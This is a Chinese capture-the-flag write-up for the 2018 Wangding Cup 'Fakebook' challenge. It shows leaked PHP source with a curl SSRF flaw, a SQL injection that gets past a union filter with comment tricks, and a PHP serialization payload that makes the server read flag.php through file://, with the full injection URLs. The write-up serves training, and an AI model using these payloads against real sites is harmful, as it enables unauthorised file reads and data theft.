[网鼎杯 2018]Fakebook

#题目：

注册之后登陆，长这个样子，御剑好习惯，先扫一下，果然有东西
1.发现存在flag.php,robots.txt两个文件，访问robots.txt，发现源码泄露
user.php.bak

<?php
class UserInfo
{
    public $name = "";
    public $age = 0;
    public $blog = "";

    public function __construct($name, $age, $blog)
    {
        $this->name = $name;
        $this->age = (int)$age;
        $this->blog = $blog;
    }

    function get($url)
    {
        $ch = curl_init();

        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        $output = curl_exec($ch);
        $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        if($httpCode == 404) {
            return 404;
        }
        curl_close($ch);

        return $output;
    }

    public function getBlogContents ()
    {
        return $this->get($this->blog);
    }

    public function isValidBlog ()
    {
        $blog = $this->blog;
        return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
    }

}

用户在注册填的bolg会调用get()函数使用curl发起网络请求获得blog内容并显示出来，这里因为curl_exec()使用不当造成SSRF(服务器端请求伪造)。想着在注册的时候直接利用SSRF漏洞读flag.php，但是不可行，因为注册的时候限制了http(s)协议
2.发现存在注入点
http://6238c6f0-f23e-4da7-b23a-428465910c0a.node3.buuoj.cn/view.php?no=1
fuzz一下发现union被过滤，但是/**/可以绕过
view.php?no=0/**/union/**/select%201,2,3,4%23

这就显而易见了，知道了绝对路径，并且根据源码泄露可以知道是反序列化存储
3.直接构造payload

<?php
class UserInfo  {
    public $name = "test";
    public $age = 1;
    public $blog = "file:///var/www/html/flag.php";
}

$data = new UserInfo();
echo serialize($data);
#O:8:"UserInfo":3:{s:4:"name";s:4:"test";s:3:"age";i:1;s:4:"blog";s:29:"file:///var/www/html/flag.php";}
?>

view.php?no=0/**/union/**/select%201,2,3,%27O:8:"UserInfo":3:{s:4:"name";s:4:"test";s:3:"age";i:1;s:4:"blog";s:29:"file:///var/www/html/flag.php";}%27%23
4.读取之后在网页源码中查看

之后base解码就ok